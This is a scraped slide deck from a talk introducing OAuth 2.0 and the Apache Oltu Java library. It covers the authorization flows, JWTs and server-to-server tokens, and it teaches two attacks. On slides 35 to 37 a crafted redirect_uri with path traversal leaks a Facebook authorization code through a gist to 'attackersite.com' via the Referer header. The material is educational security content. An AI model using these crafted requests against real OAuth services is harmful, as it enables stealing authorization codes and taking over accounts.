OAuth Hacks A gentle introduction to OAuth 2 and Apache Oltu
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The document provides an introduction to OAuth 2.0 and the Apache Oltu framework for implementing OAuth in Java. It discusses the traditional OAuth authorization code grant "dance" involving a client, authorization server, and resource server. It also summarizes some common attacks like confused deputy and redirect URI exploitation. The document concludes with an overview of OAuth 2.0 for server to server authorization without user consent.
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OAuth Hacks A gentle introduction to OAuth 2 and Apache Oltu
- 1. OAuth Hacks A Gentle Introduction to OAuth 2.0 and Apache Oltu Antonio Sanso (@asanso) Software Engineer Adobe Research Switzerland
- 2. Who is this guy, BTW? eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ 9.eyJhdWQiOiJjb25uZWN0MjAxNCIsIm lzcyI6ImFzYW5zbyIsInN1YiI6ImFzYW5 zbyIsImV4cCI6MTQwMzYwMTU1OSwi aWF0IjoxNDAzNjAxNTU5fQ.9- MaGUiPg07ezuP9yAOaVLETQH6HMO pfoGwg_c0-PDw
- 3. Who is this guy, BTW? { Software Engineer Adobe Research Switzerland { VP (Chair) Apache Oltu (OAuth Protocol Implementation in Java) { Committer and PMC Member for Apache Sling { Google Security Hall of Fame, Facebook Security Whitehat, GitHub Security Bug Bounty
- 4. My (little) contribution to OAuth Not an RFC, still in the draft phase
- 5. Agenda { Introducing OAuth 2.0 { The “OAuth dance” { Introducing Apache Oltu { Implementing OAuth 2.0 { OAuth 2.0 Implementation Vulnerabilities { OAuth 2.0 server to server ★
- 6. Why OAuth? Several web sites offer you the chance to import the list of your contacts. It ONLY requires you giving your username and password. HOW NICE
- 7. A bit of history – OAuth 1.0a
- 8. A bit of history – OAuth 2.0 2 years X
- 9. The good { OAuth 2.0 is easier to use and implement (compared to OAuth 1.0) { Wide spread and continuing growing { Short lived Tokens { Encapsulated Tokens * Image taken from the movie "The Good, the Bad and the Ugly"
- 10. The bad { No signature (relies solely on SSL/TLS ), Bearer Tokens { No built-in security { Can be dangerous if used from not experienced people { Burden on the client * Image taken from the movie "The Good, the Bad and the Ugly"
- 11. The ugly { Too many compromises. Working group did not take clear decisions { Oauth 2.0 spec is not a protocol, it is rather a framework - RFC 6749 :The OAuth 2.0 Authorization Framework { Not interoperable - from the spec: “…this specification is likely to produce a wide range of non-interoperable implementations.” !! { Mobile integration (web views) { A lot of FUD * Image taken from the movie "The Good, the Bad and the Ugly"
- 12. So what should I use? { No many alternatives { OAuth 1.0 does not scale (and it is complicated)
- 13. OAuth flows { Authorization Code Grant (aka server side flow) ✓ { Implicit Grant (aka Client side flow) ✓ { Resource Owner Password Credentials Grant { Client Credentials Grant
- 14. OAuth Actors { Resource Owner (Alice) { Client (Bob, worker at www.printondemand.biz ) { Server (Carol from Facebook) www.printondemand.biz
- 15. Traditional OAuth “dance” - Authorization Code Grant aka server side flow www.printondemand.biz 1. I want an Authz Code 2. Printondemand wants an Authz Code 3. Login and authorize 4. Here the Authz Code 5. Here we go Authorization: Bearer 1017097752d5f18f716cc90ac8a5e4c2a9ace6b9 ★
- 16. Traditional OAuth “dance” #2- client side flow 1616 www.printondemand.biz 1. I want an Access Token 2. Printondemand wants an Access Token 3. Login and authorize 4. Here the Access Token 5. Here we go ★
- 17. Apache Oltu { 2010 - Project enters incubation with the name of Apache Amber { 2013 - Amber graduates from the incubator with the name Apache Oltu { OAuth protocol implementation in Java (OAuth client and server) { It also covers others "OAuth family" related implementations such as JWT, JWS
- 18. How difficult is to implement OAuth ? OAuth client OAuth server
- 19. Traditional OAuth “dance” - Authorization Code Grant aka server side flow www.printondemand.biz 1. I want an Authz Code 2. Printondemand wants an Authz Code 3. Here the Authz Code 4. Here we go ★ GET /oauth/authorize?response_type=code&! client_id=bfq5abhdq4on33igtmd74ptrli-9rci_8_9&! scope=profile&state=0f9c0d090e74c2a136e41f4a97ed46d29bc9b0251! &redirect_uri=https%3A%2F%2Fwww.printondemand.biz%2Fcallback ! HTTP/1.1! Host: server.oltu.com! ! Authorization Server
- 20. Traditional OAuth “dance” - Authorization Code Grant aka server side flow www.printondemand.biz 1. I want an Authz Code 2. Printondemand wants an Authz Code 3. Here the Authz Code 4. Here we go ★ HTTP/1.1 302 Found! Location: https://www.printondemand.biz/callback? code=SplxlOBeZQQYbYS6WxSbIA! ! ! Authorization Server
- 21. Traditional OAuth “dance” - Authorization Code Grant aka server side flow www.printondemand.biz 1. I want an Authz Code 2. Printondemand wants an Authz Code 3. Here the Authz Code 4. Here we go ★ Authorization Server
- 22. Traditional OAuth “dance” - Authorization Code Grant aka server side flow www.printondemand.biz ★ Authorization Server POST /oauth/token HTTP/1.1! Host: server.oltu.com! Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW ! Content-Type: application/x-www-form-urlencoded! ! grant_type=authorization_code&code=SplxlOBeZQQYbYS6WxSbIA! &state=0f9c0d090e74c2a136e41f4a97ed46d29bc9b0251&! redirect_uri=https%3A%2F%2Fwww.printondemand.biz%2Fcallback ! ! !
- 23. Traditional OAuth “dance” - Authorization Code Grant aka server side flow www.printondemand.biz ★ Authorization Server HTTP/1.1 200 OK! Content-Type: application/json;charset=UTF-8! ! {! "access_token":"1017097752d5f18f716cc90ac8a5e4c2a9ace6b9”,! "expires_in":3600 ! }! !
- 24. Traditional OAuth “dance” - Authorization Code Grant aka server side flow www.printondemand.biz ★ Authorization Server
- 25. Traditional OAuth “dance” - Authorization Code Grant aka server side flow www.printondemand.biz ★ Resource Server GET /profile/me HTTP/1.1! Host: server.oltu.com! Authorization: Bearer 1017097752d5f18f716cc90ac8a5e4c2a9ace6b9! !
- 26. Traditional OAuth “dance” - Authorization Code Grant aka server side flow www.printondemand.biz ★ Resource Server
- 28. Scalable OAuth Server { derive encryption key using salt1 { derive mac key using salt2 { generate random iv { encrypt. then mac(salt1 + iv + data) { transmit salt1, salt2 iv and encrypted
- 29. JSON Web Token eyJhbGciOiJIUzI1NiIs InR5cCI6IkpXVCJ9. eyJhdWQiOiJjb25uZ WN0MjAxNCIsImlzcy I6ImFzYW5zbyIsInN 1YiI6ImFzYW5zbyIsI mV4cCI6MTQwMzY wMTU1OSwiaWF0Ijo xNDAzNjAxNTU5fQ. MaGUiPg07ezuP9yA OaVLETQH6HMOpfo Gwg_c0-PDw {"alg":"HS256","typ":"JWT"} {"aud": "jug2015","iss": "oltu","sub":"asanso","exp": 1403601559,"iat":1403601559} HMAC Header Claims Signature ★
- 30. JSON Web Token
- 31. OAuth entication orization { OAuth 2.0 is NOT an authentication protocol. It is an access delegation protocol. { It can-be-used as an authentication protocol { BUT HANDLE WITH CARE ★
- 32. Attack #1 “confused deputy” aka “The Devil Wears Prada” www.printondemand.biz 1. I want an Access Token 2. Printondemand wants an Access Token 3. Login and authorize 4. Here the Access Token 5. Here we go 7. www.printondemand.biz uses the profile information from Facebook to log in N.B. www.printondemand.biz does not have any security. They have not Authenticated the User! * Image taken from the movie "The Devil Wears Prada"
- 33. Attack #1 “confused deputy” aka “The Devil Wears Prada” www.printondemand.biz 1. I want an Access Token 2. Printondemand wants an Access Token 3. Login and authorize 4. Here the Access Token 5. Here we go What does this tell us ? That www.printondemand.biz authenticated us, given an Access Token 7. AUTHENTICATED * Image taken from the movie "The Devil Wears Prada"
- 34. Attack #1 “confused deputy” aka “The Devil Wears Prada” www.printondemand.biz 1. I want an Access Token a. Here we go 3. Login and authorize 4. Here the Access Token 5. Here we go www.dosomething.biz b. Give me the profile information, here is the Access Token c. AUTHENTICATED * Image taken from the movie "The Devil Wears Prada" ★
- 35. ✔ ✔ ✗ ✗ ✗ ✗ ✗ Attack #2 – Exploit the redirect URI aka “Lassie Come Home” * Image taken from the movie “Lassie Come Home" 1. I want an Access Token 2. Printondemand wants an Access Token GET /oauth/authorize? response_type=code&client_id=213814055461514&redirect_uri=https%3A%2F %2Fgist.github.com%2Fauth%2Ffacebook%2Fcallback! Host: https://graph.facebook.com! ✔
- 36. Attack #2 – Exploit the redirect URI aka “Lassie Come Home” 1. I want an Access Token 2. Printondemand wants an Access Token GET /oauth/authorize? response_type=code&client_id=213814055461514&redirect_uri=https%3A%2F %2Fgist.github.com%2Fauth%2Ffacebook%2Fcallback%2F..../..../..../ asanso/a2f05bb7e38ba6af88f8! Host: https://graph.facebook.com! * Image taken from the movie “Lassie Come Home" ✔
- 37. Attack #2 – Exploit the redirect URI aka “Lassie Come Home”
1. I want
an Access
Token
2. Printondemand wants an Access Token
HTTP/1.1 302 Found!
Location: https://gist.github.com/auth/asanso/!
a2f05bb7e38ba6af88f8?code=SplxlOBeZQQYbYS6WxSbIA!
* Image taken from the movie “Lassie Come Home"
...!
! ...! ! https://gist.github.com/auth/asanso/a2f05bb7e38ba6af88f8! GET / HTTP/1.1! Host: attackersite.com! Referer: https://gist.github.com/auth/asanso/a2f05bb7e38ba6af88f8! ?code=SplxlOBeZQQYbYS6WxSbIA! !
- 38. OAuth 2.0 server to server www.printondemand.biz 1. Create and sign JWT 2. Use JWT to request token 0. Generate key pair and upload public key Your application (OAuth Client) calls OAuth Server APIs on behalf of the service account, and user consent (Resource Owner) is not required (no human interaction). Why? How? 3. Here the Access Token 4. Use Access Token to call APIs ★ Register client OAuth Server 2 Server Flow
- 39. OAuth 2.0 server to server www.printondemand.biz 1. Create and sign JWT 2. Use JWT to request token 3. Here the Access Token 4. Use Access Token to call APIs OAuth Server 2 Server Flow
- 40. OAuth 2.0 server to server www.printondemand.biz 1. Create and sign JWT 2. Use JWT to request token 3. Here the Access Token 4. Use Access Token to call APIs OAuth Server 2 Server Flow ! curl -d 'grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Ajwt bearer! &assertion=ASSERTION' https://accounts.google.com/o/oauth2/token ! !
- 41. References { OAuth 2.0 web site - http://oauth.net/2/ { OAuth 2.0 - http://tools.ietf.org/html/rfc6749 { Bearer Token - http://tools.ietf.org/html/rfc6750 { Apache Oltu - http://oltu.apache.org/ { http://oauth.net/articles/authentication/ { JWT - http://tools.ietf.org/html/draft-ietf-oauth-json-web-token-23 { http://intothesymmetry.blogspot.ch/
- 42. Questions?